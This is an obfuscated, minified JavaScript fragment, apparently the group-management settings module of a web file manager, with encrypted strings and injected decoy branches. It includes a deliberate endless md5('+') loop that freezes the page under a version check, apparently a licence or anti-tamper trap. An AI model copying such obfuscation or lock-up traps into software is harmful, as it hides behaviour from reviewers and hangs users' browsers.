_0x7f7c07.vxfLQ(_0x12fa60,_0x4c5aeb);};_0x36d908[_kod_0x52d4('0xf2','*dfg')]=_0x7f7c07.UOGqW;_0x36d908[_kod_0x52d4('0xf3','4$Bj')]='group-parent-select';_0x36d908['oPLWI']=function(_0x3391e5,_0x571bf4){return _0x7f7c07.vpwxj(_0x3391e5,_0x571bf4);};_0x36d908[_kod_0x52d4('0xf4','*dfg')]=function(_0x5d1636){return _0x5d1636();};_0x36d908[_kod_0x52d4('0xf5','tEH@')]=_0x7f7c07.sAQAV;_0x36d908[_kod_0x52d4('0xf6','65Sf')]=_0x7f7c07.FsVDu;_0x36d908[_kod_0x52d4('0xf7','yo[P')]=function(_0x87df2e,_0x418dcb){return _0x87df2e(_0x418dcb);};if(_0x7f7c07[_kod_0x52d4('0xf8','Be2m')]===_kod_0x52d4('0xf9','9Dek')){var _0x2fe89e=_0x36d908[_kod_0x52d4('0xfa',')JNe')]($,'#group-parent-select'),_0x465451=_0x36d908['aEckD']($,_0x36d908[_kod_0x52d4('0xfb','fL*]')])[_kod_0x52d4('0xfc','qHRm')]();if(_0x2fe89e[_kod_0x52d4('0xfd','IfKz')](_kod_0x52d4('0xfe','tEH@'))[_kod_0x52d4('0xff','5hzJ')](_kod_0x52d4('0x100','5hzJ')),'0'==_0x465451||''==_0x465451)return $(_kod_0x52d4('0x101','y8Q5'))[_kod_0x52d4('0x102','km&J')](_kod_0x52d4('0x103','8nWs')),!0x1;var _0x33d76c=_0x4e8943(_0x465451),_0x598653=$['fn'][_kod_0x52d4('0x104','(ukT')]['getZTreeObj'](_0x36d908[_kod_0x52d4('0x105','65Sf')]);return _0x591e20(_0x598653,_0x465451),$('.select-parent-content\x20.group-title')[_kod_0x52d4('0x106','4$Bj')](_0x33d76c[_kod_0x52d4('0x107','r85j')]),_0x2fe89e[_kod_0x52d4('0x108','fL*]')](_0x36d908[_kod_0x52d4('0x109','59c7')](_kod_0x52d4('0x10a','z0Kr')+_0x465451,']'))[_kod_0x52d4('0x10b','K5*M')]('curSelectedNode'),!0x0;}else{$(_0x7f7c07[_kod_0x52d4('0x10c','7Pa5')])[_kod_0x52d4('0x10d','5hzJ')](_0x350fcc)[_kod_0x52d4('0x10e','M5(%')](_0x350fcc),$[_kod_0x52d4('0x10f','JzME')]({'zIndex':0x270f,'selector':_kod_0x52d4('0x110','5T!o'),'items':{'add-child':{'name':LNG['system_group_add'],'icon':_kod_0x52d4('0x111','5hzJ'),'accesskey':'u'},'edit':{'name':LNG[_kod_0x52d4('0x112','5hzJ')],'icon':_0x7f7c07[_kod_0x52d4('0x113','tEH@')],'accesskey':'e'},'sep1':_kod_0x52d4('0x114','Nj6Q'),'add-user':{'name':LNG['system_member_add'],'icon':_kod_0x52d4('0x115','d)@I'),'accesskey':'g'},'sep2':_kod_0x52d4('0x116','[XNn'),'remove':{'name':LNG[_kod_0x52d4('0x117','3*@r')],'icon':_kod_0x52d4('0x118','65Sf'),'accesskey':'r'}},'callback':function(_0x52e1a8,_0x376a32){var _0x21ec33=_0x376a32['$trigger']['attr']('id');_0x21ec33=_0x21ec33[_kod_0x52d4('0x119','4OnW')]('_a','');var _0x238194=_0x529cd0[_kod_0x52d4('0x11a','Be2m')](_0x21ec33);switch(_0x52e1a8){case _kod_0x52d4('0x11b','I&]h'):var _0x5ad10a=_0x36d908['hSxZP'](_0x4e8943);_0x5ad10a[_kod_0x52d4('0x11c','qHRm')]=_0x238194['id'],_0x25e03f(_0x5ad10a);break;case _0x36d908[_kod_0x52d4('0x11d','65Sf')]:var _0x5ad10a=_0x36d908[_kod_0x52d4('0x11e','km&J')](_0x4e8943,_0x238194['id']);_0x36d908[_kod_0x52d4('0x11f','fL*]')](_0x25e03f,_0x5ad10a);break;case _0x36d908[_kod_0x52d4('0x120','#Nir')]:System[_kod_0x52d4('0x121','65Sf')][_kod_0x52d4('0x122','dqHf')](_0x238194['id']);break;case _kod_0x52d4('0x123','(B)H'):_0x36d908[_kod_0x52d4('0x124','Be2m')](_0x4c715b,_0x238194['id']);}}}),$(_0x7f7c07[_kod_0x52d4('0x125','Be2m')])[_kod_0x52d4('0x126','7j9g')](_0x7f7c07['VELCY'])[_kod_0x52d4('0x127','7j9g')](_kod_0x52d4('0x128','(ukT'),function(_0x193ccd){$(this)['contextMenu']({'x':_0x193ccd[_kod_0x52d4('0x129','#Nir')],'y':_0x193ccd[_kod_0x52d4('0x12a','qHRm')]});});}},_0x4e8943=function(_0x3269e6){return _0x7f7c07[_kod_0x52d4('0x12b','%cFF')](void 0x0,_0x3269e6)?_0x4ef2e2():_0x238194[_0x3269e6];},_0x4ef2e2=function(){return{'groupID':'','name':'','parentID':'','children':'','config':{'sizeMax':'0','sizeUse':''},'path':'','createTime':''};},_0x4c715b=function(_0x502e27,_0x2a0478){var _0x57134f={};_0x57134f[_kod_0x52d4('0x12c','8nWs')]=_kod_0x52d4('0x12d','7j9g');_0x57134f[_kod_0x52d4('0x12e','9Dek')]=_kod_0x52d4('0x12f','XOZ%');var _0x21ec33=_0x529cd0['getSelectedNodes']()[0x0],_0x238194=_0x21ec33[_kod_0x52d4('0x130','r85j')](),_0x5ad10a=G[_kod_0x52d4('0x131','m2!C')]+_0x7f7c07['GbueN']+_0x502e27;$[_kod_0x52d4('0x132','VeQA')]({'id':'dialog-path-remove','fixed':!0x0,'icon':_0x7f7c07['dtLew'],'title':LNG[_kod_0x52d4('0x133','VeQA')],'padding':0x1e,'width':0x12c,'lock':!0x0,'background':_0x7f7c07[_kod_0x52d4('0x134','8nWs')],'opacity':0.3,'content':LNG[_kod_0x52d4('0x135','(B)H')],'ok':function(){var _0x19df61={};_0x19df61['gcsuq']=_kod_0x52d4('0x136','K5*M');_0x19df61['ICYuf']=_0x57134f.miCSe;if(_kod_0x52d4('0x137','M5(%')!=='capui'){System[_kod_0x52d4('0x138','M5(%')](_0x2a0478);}else{$[_kod_0x52d4('0x139','Y$$a')]({'url':_0x5ad10a,'type':_0x57134f[_kod_0x52d4('0x13a','ZhAl')],'dataType':_kod_0x52d4('0x13b','km&J'),'beforeSend':function(){if(_0x19df61[_kod_0x52d4('0x13c','r85j')]!==_kod_0x52d4('0x13d','Uq0A')){return{'groupID':'','name':'','parentID':'','children':'','config':{'sizeMax':'0','sizeUse':''},'path':'','createTime':''};}else{Tips['loading']();}},'error':core[_kod_0x52d4('0x13e','scnd')],'success':function(_0x18fa07){Tips[_kod_0x52d4('0x13f','m2!C')](_0x18fa07),System[_kod_0x52d4('0x140','59c7')][_kod_0x52d4('0x141','VeQA')](),_0x19cafb(_0x19df61[_kod_0x52d4('0x142','qHRm')],_0x238194['id']),_0x38a368(),_kod_0x52d4('0x143','#Nir')==typeof _0x2a0478&&_0x2a0478(_0x502e27);}});}},'cancel':!0x0});},_0x22f7d2=function(){var _0x25c348={};_0x25c348[_kod_0x52d4('0x144','z0Kr')]=function(_0x38e4e9,_0x538ea6){return _0x38e4e9(_0x538ea6);};if('zZGoU'!==_kod_0x52d4('0x145','Y$$a')){var _0x24b239=0x40000000*_0x7f7c07[_kod_0x52d4('0x146','3%xT')](parseFloat,$(_kod_0x52d4('0x147','5hzJ'))[_kod_0x52d4('0x148','59c7')]()),_0x2a0337=pathTools[_kod_0x52d4('0x149','m2!C')](_0x24b239);0x0==_0x24b239||isNaN(_0x24b239)?$(_kod_0x52d4('0x14a','ZhAl'))[_kod_0x52d4('0x14b','27%W')](LNG['space_tips_default']):$(_0x7f7c07[_kod_0x52d4('0x14c','GVAq')])[_kod_0x52d4('0x14d','#Nir')](_0x2a0337);}else{for(var _0x293519=0x0;_0x293519<_0x24b239['length'];_0x293519++)void 0x0!=_0x24b239[_0x293519]?(_0x24b239[_0x293519][_kod_0x52d4('0x14e','GVAq')]=_0x24b239[_0x293519][_kod_0x52d4('0x14f','9KsU')],_0x24b239[_0x293519]['id']=_0x24b239[_0x293519][_kod_0x52d4('0x150','4$Bj')],delete _0x24b239[_0x293519][_kod_0x52d4('0xa6','*dfg')],delete _0x24b239[_0x293519][_kod_0x52d4('0x151','VeQA')],delete _0x24b239[_0x293519][_kod_0x52d4('0x152','VeQA')],_0x24b239[_0x293519][_kod_0x52d4('0x6c','5hzJ')]&&(_0x24b239[_0x293519][_kod_0x52d4('0x153','[XNn')]=_0x24b239[_0x293519][_kod_0x52d4('0x154','59c7')],delete _0x24b239[_0x293519][_kod_0x52d4('0xaa','Nj6Q')],_0x25c348['UQBIL'](_0x2a0337,_0x24b239[_0x293519][_kod_0x52d4('0x155','Nj6Q')]))):delete _0x24b239[_0x293519];}},_0x24b953=function(){var _0x24b239=$(_0x7f7c07['aXoUF']),_0x2a0337=$(_kod_0x52d4('0x156','d)@I'))['val']();if(_0x24b239[_kod_0x52d4('0x157','I&]h')](_kod_0x52d4('0xfe','tEH@'))['removeClass'](_kod_0x52d4('0x158','5T!o')),_0x7f7c07[_kod_0x52d4('0x159','m2!C')]('0',_0x2a0337)||''==_0x2a0337)return _0x7f7c07['BHgtI']($,'.select-parent-content\x20.group-title')[_kod_0x52d4('0x15a','r85j')](_0x7f7c07['pZDGo']),!0x1;var _0x529cd0=_0x4e8943(_0x2a0337),_0x21ec33=$['fn']['zTree'][_kod_0x52d4('0x15b','VeQA')](_kod_0x52d4('0x15c','ZhAl'));return _0x591e20(_0x21ec33,_0x2a0337),$(_kod_0x52d4('0x15d','qHRm'))[_kod_0x52d4('0x15e','8nWs')](_0x529cd0[_kod_0x52d4('0x15f','#Nir')]),_0x24b239[_kod_0x52d4('0x160','GVAq')]('a[data-group-id='+_0x2a0337+']')[_kod_0x52d4('0x161','tEH@')](_kod_0x52d4('0x162','EZw@')),!0x0;},_0x591e20=function(_0x321db7,_0x310193){for(var _0x529cd0=[],_0x21ec33=_0x321db7[_kod_0x52d4('0x163','5my5')]('id',_0x310193,null),_0x238194=_0x21ec33;_0x21ec33=_0x21ec33['getParentNode']();)_0x529cd0[_kod_0x52d4('0x164','65Sf')](_0x21ec33);for(var _0x5ad10a=_0x529cd0['length']-0x1;_0x7f7c07[_kod_0x52d4('0x165','%cFF')](_0x5ad10a,0x0);_0x5ad10a--)_0x321db7['expandNode'](_0x529cd0[_0x5ad10a],!0x0);_0x321db7[_kod_0x52d4('0x166','65Sf')](_0x238194,!0x0);},_0x3bdbb2=function(){var _0x24b239=$(_kod_0x52d4('0x167','d)@I'));$['fn'][_kod_0x52d4('0x168','scnd')][_kod_0x52d4('0x169','Be2m')](_0x24b239,_0x5b8735,_0x21ec33);var _0x2a0337=$['fn']['zTree'][_kod_0x52d4('0x16a','9Dek')](_0x7f7c07[_kod_0x52d4('0x16b','XOZ%')]),_0x529cd0=_0x2a0337[_kod_0x52d4('0x16c','EZw@')]();_0x2a0337[_kod_0x52d4('0x16d','kFjo')](_0x529cd0[0x0],!0x0),_0x24b953()&&_0x7f7c07[_kod_0x52d4('0x16e','EZw@')]($,_kod_0x52d4('0x16f','GVAq'))[_kod_0x52d4('0x170','dqHf')](_kod_0x52d4('0x171','I&]h'))[_kod_0x52d4('0x172','3*@r')](_kod_0x52d4('0x173','7j9g'),function(){$('.select-group')['toggleClass'](_kod_0x52d4('0x174','#Nir'));});},_0x25e03f=function(_0xd5bdb1){var _0x389906={};_0x389906[_kod_0x52d4('0x175','dqHf')]=_kod_0x52d4('0x176','7Pa5');_0x389906['IbFwy']=_0x7f7c07.LowhJ;_0x389906[_kod_0x52d4('0x177','#Nir')]=function(_0x393084){return _0x393084();};_0x389906['oztYN']=_kod_0x52d4('0x178','K5*M');_0x389906[_kod_0x52d4('0x179','yo[P')]=function(_0x2a95d8,_0x10030a){return _0x2a95d8===_0x10030a;};_0x389906[_kod_0x52d4('0x17a',')JNe')]=_kod_0x52d4('0x17b','I&]h');_0x389906[_kod_0x52d4('0x17c','[XNn')]=_0x7f7c07.KrpJG;_0x389906['yjmCw']=function(_0x1f3a72,_0x12ca5a){return _0x1f3a72(_0x12ca5a);};_0x389906[_kod_0x52d4('0x17d','m2!C')]=_kod_0x52d4('0x17e','7Pa5');_0x389906[_kod_0x52d4('0x17f','ZhAl')]='300px';_0x389906[_kod_0x52d4('0x180','EZw@')]=function(_0x5a5727,_0x1c7e7e){return _0x7f7c07.OsDNq(_0x5a5727,_0x1c7e7e);};_0x389906[_kod_0x52d4('0x181','(ukT')]=function(_0x19581a,_0x144f3f){return _0x19581a!=_0x144f3f;};_0x389906[_kod_0x52d4('0x182','Uq0A')]=function(_0x30861a,_0xdd5055){return _0x7f7c07.pItUf(_0x30861a,_0xdd5055);};_0x389906[_kod_0x52d4('0x183','59c7')]=function(_0x177acf,_0x3fc715){return _0x177acf==_0x3fc715;};_0x389906[_kod_0x52d4('0x184','Uq0A')]=_kod_0x52d4('0x185','5T!o');if(_kod_0x52d4('0x186','9Dek')!==_0x7f7c07[_kod_0x52d4('0x187','8nWs')]){$(_0x389906['NqWuk'])[_kod_0x52d4('0x188','ZhAl')]('hidden');}else{var _0x529cd0=_0x24b239(_kod_0x52d4('0x189','K5*M')),_0x21ec33=template[_kod_0x52d4('0x18a','[XNn')](_0x529cd0),_0x238194=_0x21ec33({'LNG':LNG,'groupInfo':_0xd5bdb1}),_0x5ad10a=$[_kod_0x52d4('0x18b','(ukT')]({'id':_0x7f7c07['ANjwk'],'simple':!0x0,'resize':!0x1,'width':0x1a9,'background':_kod_0x52d4('0x18c',')JNe'),'opacity':0.1,'title':'','padding':'0','fixed':!0x0,'lock':!0x0,'content':_0x238194});_0x22f7d2(),System['sizeUse']($(_kod_0x52d4('0x18d','#Nir'))),_0x3bdbb2(),$(_kod_0x52d4('0x18e','scnd'))[_kod_0x52d4('0x18f','Be2m')]();var _0x29b261=G[_kod_0x52d4('0x190','Uq0A')]+_0x7f7c07['vcXwC'];if(_0x7f7c07[_kod_0x52d4('0x191','4$Bj')]('',_0xd5bdb1['name']))var _0x29b261=_0x7f7c07['wnmaC'](G[_kod_0x52d4('0x192','65Sf')],_kod_0x52d4('0x193','8nWs'))+_0xd5bdb1[_kod_0x52d4('0x194','9KsU')];$(_kod_0x52d4('0x195','3%xT'))[_kod_0x52d4('0x196','8nWs')](_kod_0x52d4('0x197',')JNe'))[_kod_0x52d4('0x198','7Pa5')]('click',function(){_0x5b8735();}),_0x7f7c07[_kod_0x52d4('0x199','r85j')]($,_kod_0x52d4('0x19a','M5(%'))[_kod_0x52d4('0x19b','9KsU')](_0x7f7c07[_kod_0x52d4('0x19c','XOZ%')])[_kod_0x52d4('0x19d','8nWs')](_0x7f7c07[_kod_0x52d4('0x19e','kFjo')],function(){System['openPath'](_0xd5bdb1);}),_0x7f7c07[_kod_0x52d4('0x19f','59c7')]($,'.remove-button')[_kod_0x52d4('0x1a0','7Pa5')](_kod_0x52d4('0x1a1','qHRm'))[_kod_0x52d4('0x1a2','5my5')](_0x7f7c07[_kod_0x52d4('0x1a3','y8Q5')],function(){_0x4c715b(_0xd5bdb1['groupID'],function(){_0x5ad10a[_kod_0x52d4('0x1a4','#Nir')]();});}),_0x7f7c07['vLGsd']($,_0x7f7c07['uaQJm'])[_kod_0x52d4('0x1a5','5hzJ')](function(){_0x5b8735(!0x0);}),_0x7f7c07[_kod_0x52d4('0x1a6','27%W')]($,'#system-save-and-add')['unbind']('click')[_kod_0x52d4('0x1a7','EZw@')](_kod_0x52d4('0x1a8','ZhAl'),function(){var _0x5df0e5={};_0x5df0e5['OGRqh']=function(_0x3f26f0){return _0x389906.GxSJJ(_0x3f26f0);};if(_0x389906[_kod_0x52d4('0x1a9',')JNe')]!=='BtLIg'){_0x5b8735(!0x0);}else{$[_kod_0x52d4('0x1aa','VeQA')]({'url':_0x5ad10a,'type':_0x389906[_kod_0x52d4('0x1ab','z0Kr')],'dataType':_kod_0x52d4('0x1ac',')JNe'),'beforeSend':function(){Tips[_kod_0x52d4('0x1ad','Uq0A')]();},'error':core['ajaxError'],'success':function(_0x18e34d){Tips['close'](_0x18e34d),System[_kod_0x52d4('0x1ae','[XNn')][_kod_0x52d4('0x1af','9KsU')](),_0x19cafb(_kod_0x52d4('0x1b0','65Sf'),_0x238194['id']),_0x5df0e5['OGRqh'](_0x38a368),_kod_0x52d4('0x1b1','scnd')==typeof _0xd5bdb1&&_0xd5bdb1(_0x24b239);}});}}),$(_kod_0x52d4('0x1b2','Uq0A'))[_kod_0x52d4('0x1b3','4$Bj')](_kod_0x52d4('0x128','(ukT'))[_kod_0x52d4('0x1b4','fL*]')](_kod_0x52d4('0x1b5','yo[P'),function(){var _0x23b933={};_0x23b933[_kod_0x52d4('0x1b6','5my5')]=function(_0x296802,_0x4f36cf){return _0x296802+_0x4f36cf;};_0x23b933['hVAbm']=function(_0x2491ed,_0x386601){return _0x7f7c07.vpwxj(_0x2491ed,_0x386601);};_0x23b933['kyawe']=function(_0x646e70,_0x229d41){return _0x7f7c07.XvEES(_0x646e70,_0x229d41);};_0x23b933[_kod_0x52d4('0x1b7','Uq0A')]=_kod_0x52d4('0x1b8','IfKz');_0x23b933[_kod_0x52d4('0x1b9','[XNn')]=function(_0x3ec28c,_0xa07bbf){return _0x3ec28c>=_0xa07bbf;};_0x23b933[_kod_0x52d4('0x1ba','JzME')]=function(_0x3da628,_0x1e7248){return _0x3da628+_0x1e7248;};_0x23b933[_kod_0x52d4('0x1bb','yo[P')]=_0x7f7c07.bEvoQ;if(_0x7f7c07[_kod_0x52d4('0x1bc','M5(%')]!==_kod_0x52d4('0x1bd','XOZ%')){var _0x1334ce=0xc,_0x2933b4=$(_0x23b933['qHaVA'](_0x23b933['hVAbm']('#'+_0x24b239,'\x20#'),_0xd5bdb1[_kod_0x52d4('0x1be','VeQA')])+_kod_0x52d4('0x1bf','3*@r')),_0x141ee8=$(_0x23b933[_kod_0x52d4('0x1c0','fL*]')]('#'+_0x24b239,'\x20#')+_0xd5bdb1['tId']+_0x23b933[_kod_0x52d4('0x1c1','3%xT')]);if(_0x141ee8[_kod_0x52d4('0x1c2','kFjo')](_0x2933b4)['before'](_0x23b933[_kod_0x52d4('0x1c3','4OnW')](_kod_0x52d4('0x1c4','Y$$a')+core['iconSmall'](_kod_0x52d4('0x1c5','#Nir')),_kod_0x52d4('0x1c6','z0Kr')))['remove'](),_0x23b933['cpVlN'](_0xd5bdb1['level'],0x1)){var _0x2cc808=_kod_0x52d4('0x1c7','ZhAl')+_0x1334ce*_0xd5bdb1[_kod_0x52d4('0x1c8','km&J')]+_kod_0x52d4('0x1c9','8nWs');_0x2933b4['before'](_0x2cc808);}$(_0x23b933['kyawe'](_0x23b933[_kod_0x52d4('0x1ca','scnd')](_0x23b933[_kod_0x52d4('0x1cb','tEH@')]('#',_0x24b239),'\x20#')+_0xd5bdb1['tId'],'_a'))[_kod_0x52d4('0x1cc','Y$$a')](_0x23b933['QVGTL'])[_kod_0x52d4('0x1cd','Y$$a')]('')['attr']('data-group-id',_0xd5bdb1['id']);}else{$('.user-setting-more')[_kod_0x52d4('0x1ce','Y$$a')](_kod_0x52d4('0x1cf','7j9g'));}}),$(_0x7f7c07[_kod_0x52d4('0x1d0','%cFF')])[_kod_0x52d4('0x1d1','z0Kr')](_0x7f7c07[_kod_0x52d4('0x1d2','5hzJ')])['bind'](_kod_0x52d4('0x1d3','59c7'),function(){if('jlFjs'!=='aEqmT'){var _0x24b239=this;core['api']['pathSelect']({'type':_kod_0x52d4('0x1d4','z0Kr'),'title':LNG[_kod_0x52d4('0x1d5','4$Bj')],'firstPath':_0x389906[_kod_0x52d4('0x1d6','km&J')]($,'.select-path\x20input')[_kod_0x52d4('0x1d7','tEH@')]()},function(_0x2218e1){var _0x4e7d65={};_0x4e7d65[_kod_0x52d4('0x1d8','Be2m')]=function(_0x463a85,_0x437439){return _0x463a85(_0x437439);};if(_0x389906[_kod_0x52d4('0x1d9','K5*M')](_0x389906[_kod_0x52d4('0x1da','(ukT')],_0x389906[_kod_0x52d4('0x1db','Nj6Q')])){_0x4e7d65[_kod_0x52d4('0x1dc','9KsU')](_0x5b8735,!0x0);}else{$(_0x24b239)[_kod_0x52d4('0x1dd','K5*M')]()[_kod_0x52d4('0x1de','r85j')](_kod_0x52d4('0x1df','65Sf'))[_kod_0x52d4('0x1e0','(ukT')](_0x2218e1);}});}else{md5('+');}}),_0x7f7c07[_kod_0x52d4('0x1e1','3%xT')]($,_0x7f7c07[_kod_0x52d4('0x1e2','7j9g')])[_kod_0x52d4('0x1e3','fL*]')]('click')[_kod_0x52d4('0x1e4',')JNe')]('click',function(){$(this)[_kod_0x52d4('0x1e5','tEH@')]()[_kod_0x52d4('0x1e6','4OnW')]('input')[_kod_0x52d4('0x1e7','M5(%')]('');});var _0x5b8735=function(_0x1c6f78){var _0x5b00d9={};_0x5b00d9[_kod_0x52d4('0x1e8','yQtY')]=function(_0x47722f,_0x17477c){return _0x389906.bLjbi(_0x47722f,_0x17477c);};var _0x529cd0={};return $(_kod_0x52d4('0x1e9','%cFF'))[_kod_0x52d4('0x1ea','4OnW')](function(){var _0x1c6f78=urlEncode($(this)['val']());_0x5b00d9[_kod_0x52d4('0x1eb','M5(%')]('',_0x1c6f78)&&(_0x529cd0[$(this)['attr']('name')]=_0x1c6f78);}),_0x389906['KvVaU']('',trim(urlDecode(_0x529cd0[_kod_0x52d4('0x107','r85j')])))?(Tips['tips'](LNG['not_null'],_kod_0x52d4('0x1ec','tEH@')),!0x1):void $['ajax']({'url':_0x29b261,'data':_0x529cd0,'type':_kod_0x52d4('0x1ed','65Sf'),'dataType':_0x389906['grTaC'],'beforeSend':function(){if('ZrsbL'===_kod_0x52d4('0x1ee','VeQA')){_0x5ad10a[_kod_0x52d4('0x1ef','km&J')]();}else{Tips['loading']();}},'error':core['ajaxError'],'success':function(_0x3da45f){var _0x31ed4a={};_0x31ed4a[_kod_0x52d4('0x1f0','JzME')]=_kod_0x52d4('0x1f1','m2!C');_0x31ed4a[_kod_0x52d4('0x1f2','Nj6Q')]=_0x389906.gdrWM;_0x31ed4a[_kod_0x52d4('0x1f3','*dfg')]=_kod_0x52d4('0x1f4','9Dek');if(_kod_0x52d4('0x1f5','3%xT')!==_kod_0x52d4('0x1f6','4OnW')){if(Tips[_kod_0x52d4('0x1f7','65Sf')](_0x3da45f),!_0x3da45f[_kod_0x52d4('0x1f8','7j9g')]&&_kod_0x52d4('0x1f9','tEH@')==_0x3da45f['info'])return void $[_kod_0x52d4('0x1fa','#Nir')]({'content':_0x3da45f['data'],'padding':_kod_0x52d4('0x1fb','%cFF'),'width':_0x389906[_kod_0x52d4('0x1fc','GVAq')],'okVal':LNG[_kod_0x52d4('0x1fd','*dfg')],'ok':function(){window[_kod_0x52d4('0x1fe','VeQA')](core['versionUpdateVip']);}});if(_0x3da45f['code']){if(_0x389906[_kod_0x52d4('0x1ff','JzME')](core['versionType'],String[_kod_0x52d4('0x200','km&J')](0x41)))for(;;){md5('+');}_0x389906[_kod_0x52d4('0x201','kFjo')](_0x38a368),_0x389906[_kod_0x52d4('0x202','3%xT')]('',_0xd5bdb1[_kod_0x52d4('0x203','5my5')])||0x1!=_0x1c6f78?_0x5ad10a[_kod_0x52d4('0x204','fL*]')]():setTimeout(function(){var _0x1dfd93={};_0x1dfd93['yzWak']=_kod_0x52d4('0x205','tEH@');if(_0x31ed4a['plSGw']===_0x31ed4a[_kod_0x52d4('0x206','3%xT')]){$(_0x1c6f78)['parent']()[_kod_0x52d4('0x207','tEH@')](_0x1dfd93[_kod_0x52d4('0x208','3%xT')])[_kod_0x52d4('0x209','Nj6Q')](_0xd5bdb1);}else{$(_0x31ed4a[_kod_0x52d4('0x20a','9KsU')])[_kod_0x52d4('0x20b','ZhAl')]('')['textFocus']();}},0xc8);}}else{return _0x238194;}}});};}},_0x18c9e2=function(_0x2802c7){var _0x2a0337=_0x4e8943(_0x2802c7);_0x2a0337&&($(_kod_0x52d4('0x20c','qHRm'))[_kod_0x52d4('0x20d','7j9g')](_0x2a0337['name']),$(_kod_0x52d4('0x20e','d)@I'))[_kod_0x52d4('0x20f','I&]h')](_0x2a0337[_kod_0x52d4('0x210','EZw@')]['sizeUse']+'/'+_0x2a0337['config'][_kod_0x52d4('0x211','y8Q5')]),$(_0x7f7c07['pTEMN'])['html'](_0x2802c7),System[_kod_0x52d4('0x212','km&J')]($(_kod_0x52d4('0x213','yQtY'))),System['systemMember']['loadList'](_0x2802c7));},_0x1c909c=function(){var _0x4ff20e={};_0x4ff20e[_kod_0x52d4('0x214','XOZ%')]=_kod_0x52d4('0x215','fL*]');_0x4ff20e[_kod_0x52d4('0x216','kFjo')]='#content-system-group\x20.group-id';_0x4ff20e['bTYvT']=_kod_0x52d4('0x217','XOZ%');_0x4ff20e[_kod_0x52d4('0x218','K5*M')]=_0x7f7c07.PDWWU;_0x4ff20e[_kod_0x52d4('0x219','5my5')]=function(_0x6fe603){return _0x6fe603();};if(_0x7f7c07[_kod_0x52d4('0x21a','9Dek')]!==_0x7f7c07[_kod_0x52d4('0x21b','4$Bj')]){for(var _0x26fe2b=[],_0x1625f3=_0x24b239[_kod_0x52d4('0x21c','65Sf')]('id',_0x2a0337,null),_0x4127c8=_0x1625f3;_0x1625f3=_0x1625f3['getParentNode']();)_0x26fe2b[_kod_0x52d4('0x164','65Sf')](_0x1625f3);for(var _0x5a5193=_0x26fe2b[_kod_0x52d4('0x21d','km&J')]-0x1;_0x5a5193>=0x0;_0x5a5193--)_0x24b239[_kod_0x52d4('0x21e','scnd')](_0x26fe2b[_0x5a5193],!0x0);_0x24b239[_kod_0x52d4('0x21f','d)@I')](_0x4127c8,!0x0);}else{$(_kod_0x52d4('0x220','VeQA'))[_kod_0x52d4('0x221','EZw@')](_0x7f7c07[_kod_0x52d4('0x222','Be2m')],_0x22f7d2),_0x7f7c07[_kod_0x52d4('0x223','m2!C')]($,'#content-system-group\x20.header-content\x20[data-action]')['live'](_0x7f7c07['VELCY'],function(_0x352319){var _0x2a0337=$(this)[_kod_0x52d4('0x224','9KsU')](_0x4ff20e[_kod_0x52d4('0x225','qHRm')]),_0x529cd0=$(_0x4ff20e[_kod_0x52d4('0x226','JzME')])[_kod_0x52d4('0x227','*dfg')](),_0x21ec33=_0x4e8943(_0x529cd0);switch(_0x2a0337){case _0x4ff20e['bTYvT']:_0x25e03f(_0x21ec33);break;case _0x4ff20e[_kod_0x52d4('0x228','27%W')]:System[_kod_0x52d4('0x229','d)@I')](_0x21ec33);break;case _kod_0x52d4('0x22a','fL*]'):var _0x238194=_0x4ff20e[_kod_0x52d4('0x22b','Nj6Q')](_0x4e8943);_0x238194[_kod_0x52d4('0x22c','XOZ%')]=_0x529cd0,_0x25e03f(_0x238194);}});}};_0x5b8735[_kod_0x52d4('0x22d','GVAq')]={};_0x5b8735[_kod_0x52d4('0x22e','GVAq')]={};_0x5b8735[_kod_0x52d4('0x22e','GVAq')]['onClick']=function(_0x506fa0,_0xe7545c,_0x1ca9a3){_0x19cafb(_0xe7545c,_0x1ca9a3.id);};_0x5b8735[_kod_0x52d4('0x22e','GVAq')][_kod_0x52d4('0x22f','Nj6Q')]=function(_0x58ecf8,_0x31592e){if(_0x7f7c07.nwYBD('qipaK',_kod_0x52d4('0x230','XOZ%'))){_0x19cafb(_0x58ecf8,_0x31592e.id);}else{_0x5ad10a=_0x31592e;var _0x1c62fa=_0x529cd0.getNodeByParam('id',_0x31592e,null);_0x529cd0.selectNode(_0x1c62fa),_0x18c9e2(_0x31592e);}};_0x5b8735[_kod_0x52d4('0x22d','GVAq')]['showLine']=!0x1;_0x5b8735[_kod_0x52d4('0x22d','GVAq')]['selectedMulti']=!0x1;_0x5b8735[_kod_0x52d4('0x22d','GVAq')][_kod_0x52d4('0x231','m2!C')]=!0x0;_0x5b8735[_kod_0x52d4('0x22d','GVAq')]['addDiyDom']=function(_0x355892,_0x27dd17){var _0x529cd0=0xc,_0x21ec33=$(_0x7f7c07.dUosw('#'+_0x355892+'\x20#'+_0x27dd17.tId,_kod_0x52d4('0x232','y8Q5'))),_0x238194=_0x7f7c07.NyTPY($,_0x7f7c07.yFqdp('#'+_0x355892,'\x20#')+_0x27dd17.tId+_kod_0x52d4('0x233','9Dek'));if(_0x238194.before(_0x21ec33).before(_kod_0x52d4('0x234','(B)H')+core.iconSmall(_kod_0x52d4('0x235','ZhAl'))+_kod_0x52d4('0x236','Uq0A')).remove(),_0x27dd17.level>=0x1){var _0x5ad10a=_kod_0x52d4('0x237','4$Bj')+_0x7f7c07.xOSwS(_0x529cd0,_0x27dd17.level)+'px\x27>';_0x21ec33.before(_0x5ad10a);}$(_0x7f7c07.JLhCK('#',_0x355892)+'\x20#'+_0x27dd17.tId+'_a').addClass(_0x7f7c07.bEvoQ).append(_0x7f7c07.PIiLd).attr(_0x7f7c07.mfYog,_0x27dd17.id);};return _0x7f7c07['qtdIE'](_0x1c909c),{'init':_0x29b261,'getGroupInfo':_0x4e8943,'groupDefaultData':_0x4ef2e2,'getListTree':function(){return _0x21ec33;},'getList':function(){return _0x238194;}};});;define("app/src/setting/system/tpl/group.html",[],'
          \n
          \n
          \n {{if !groupInfo.name}}\n {{LNG.system_group_create}}\n {{else}}\n {{groupInfo.name}}\n {{/if}}\n
          \n {{if groupInfo.name}}\n \n {{/if}}\n
          \n
          \n
          \n {{LNG.system_group_name}}:\n \n {{if groupInfo.name}}\n \n \n \n {{else}}\n {{LNG.name}}\n {{/if}}\n
          \n
          \n
          \n {{LNG.space_size}}:\n \n \n
          \n
          \n
          \n {{LNG.system_group_father}}:\n \n \n \n
          \n
          \n\n
          \n  \n {{LNG.more}}\n
          \n
          \n
          \n
          \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
          \n
          \n
          \n
          \n\n \n
